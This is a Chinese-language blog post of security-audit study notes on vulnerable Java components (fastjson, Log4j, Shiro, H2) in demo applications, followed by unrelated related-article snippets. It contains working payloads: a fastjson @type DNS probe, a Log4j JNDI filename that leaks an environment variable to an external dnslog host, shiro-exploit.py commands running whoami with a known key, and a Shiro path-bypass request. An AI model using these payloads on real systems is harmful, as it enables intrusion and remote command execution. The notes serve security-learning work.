DAY120java审计第三方组件依赖库挖掘FastjsonShiroLog4jH2DB

devtools/2024/11/20 21:29:14/

组件漏洞判断插件

一、Tmall_demo-master(fastjson

1、配置文件查找安装组件

1、JSON.parse(json)

2、JSON.parseObject

2、找可控的变量

3、利用组件漏洞

poc:propertyJson={"@type":"java.net.Inet4Address","val":"233997ee.log.dnslog.sbs"}

二、Tmall_demo-master(Log4j)

logger.error,logger.info函数触发

1、配置文件查找安装组件

session不可控

2、寻找可控变量

originalFileName从file.getOriginalFilename获取文件名

修改文件名利用漏洞

Poc:filename="${jndi:ldap://${env:OS}.7ffb7b28.log.dnslog.sbs}"

3、Jndi

失败

版本不在区间

三、RuoYi-v4.2(shrio版本漏洞)

/docs;/../admin/

1、密钥setCipherKey

python shiro-exploit.py check -u http://127.0.0.1

2、利用链

python shiro-exploit.py echo -g CommonsCollectionsK1 -u http://127.0.0.1 -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami

3、shiro漏洞绕过拦截器

4、/css;/../common/download利用漏洞shiro

GET /css;/../common/download HTTP/1.1

四、halo-0.4.3(h2database)

1、环境配置进入后台

2、访问h2database

javax.naming.InitialContext

ldap://192.168.93.1:1389/9nbcm6


http://www.ppmy.cn/devtools/135588.html

相关文章

青训营刷题笔记11

水一个简单题: 问题描述 小C定义了一个“完美偶数”。一个正整数 xx 被认为是完美偶数需要满足以下两个条件: xx 是偶数;xx 的值在区间 [l,r][l,r] 之间。 现在,小C有一个长度为 nn 的数组 aa,她想知道在这个数组中…

opencv(c++)----图像的读取以及显示

opencv(c)----图像的读取以及显示 imread: 作用:读取图像文件并将其加载到 Mat 对象中。参数: 第一个参数是文件路径,可以是相对路径或绝对路径。第二个参数是读取标志,比如 IMREAD_COLOR 表示以彩色模式读取图像。 返回值&#x…

基于Matlab的电力变压器建模方法(1):单相双绕组变压器的基本电路方程和仿真模型

写在前面: 这里拟对《电机瞬态过程分析的MATLAB建模与仿真》第三章的内容进行全面补充和修订,其初稿内容借“CSDN”平台陆续分享给大家。这一章介绍变压器瞬变过程分析的Matlab建模仿真,从数学模型、仿真模型和仿真实例三个层面为研究和教育目的提供最为详细的基于Matlab/Si…

传奇996_23——杀怪掉落,自动捡取,捡取动画

一、杀怪掉落 前置: 添加地图地图刷怪怪物掉落(术语叫爆率,掉落叫爆率,而且文档上叫爆率) 刷怪步骤:在\MirServer\Mir200\Envir\MonItems文件夹中建立以怪物名字为文件名的txt文件写法案例: …

CSS遮罩:mask

CSS属性 mask 允许使用者通过遮罩或者裁切特定区域的图片的方式来隐藏一个元素的部分或者全部可见区域。 // 一般用位图图片做遮罩 mask: url(~/assets/images/mask.png); mask-size: 100% 100%;// 使用 SVG 图形中的形状来做遮罩 mask: url(~/assets/images/mask.svg#star);…

ADS学习笔记 5. 微带天线设计

基于ADS2023 update2 参考书籍:卢益锋老师《ADS射频电路设计与仿真学习笔记》 更多笔记:ADS学习笔记 1. 功率放大器设计ADS学习笔记 2. 低噪声放大器设计ADS学习笔记 3. 功分器设计ADS学习笔记 4. 微带分支定向耦合器设计 目录 0、设计指标 1、微带…

应用层协议之WebSocket

WebSocket是一种在单个TCP连接上进行全双工通信的协议,它允许在客户端和服务器之间建立持久性的连接,使得数据可以在双方之间进行实时交换,而不需要客户端发起多个HTTP请求。WebSocket特别适用于需要实时通信、实时推送数据、实时同步编辑等场…

ObjectMapper mapper = new ObjectMapper()、使用 Jackson 将 JSON 转换为 Map!!!!!

ObjectMapper mapper new ObjectMapper(); 创建了一个 Jackson 的 ObjectMapper 实例,主要用于 JSON 和 Java 对象之间的转换。这是 Jackson 中的核心工具类。 mapper.readValue(json, Map.class); 使用 ObjectMapper 的 readValue 方法,将一个 JSON 字…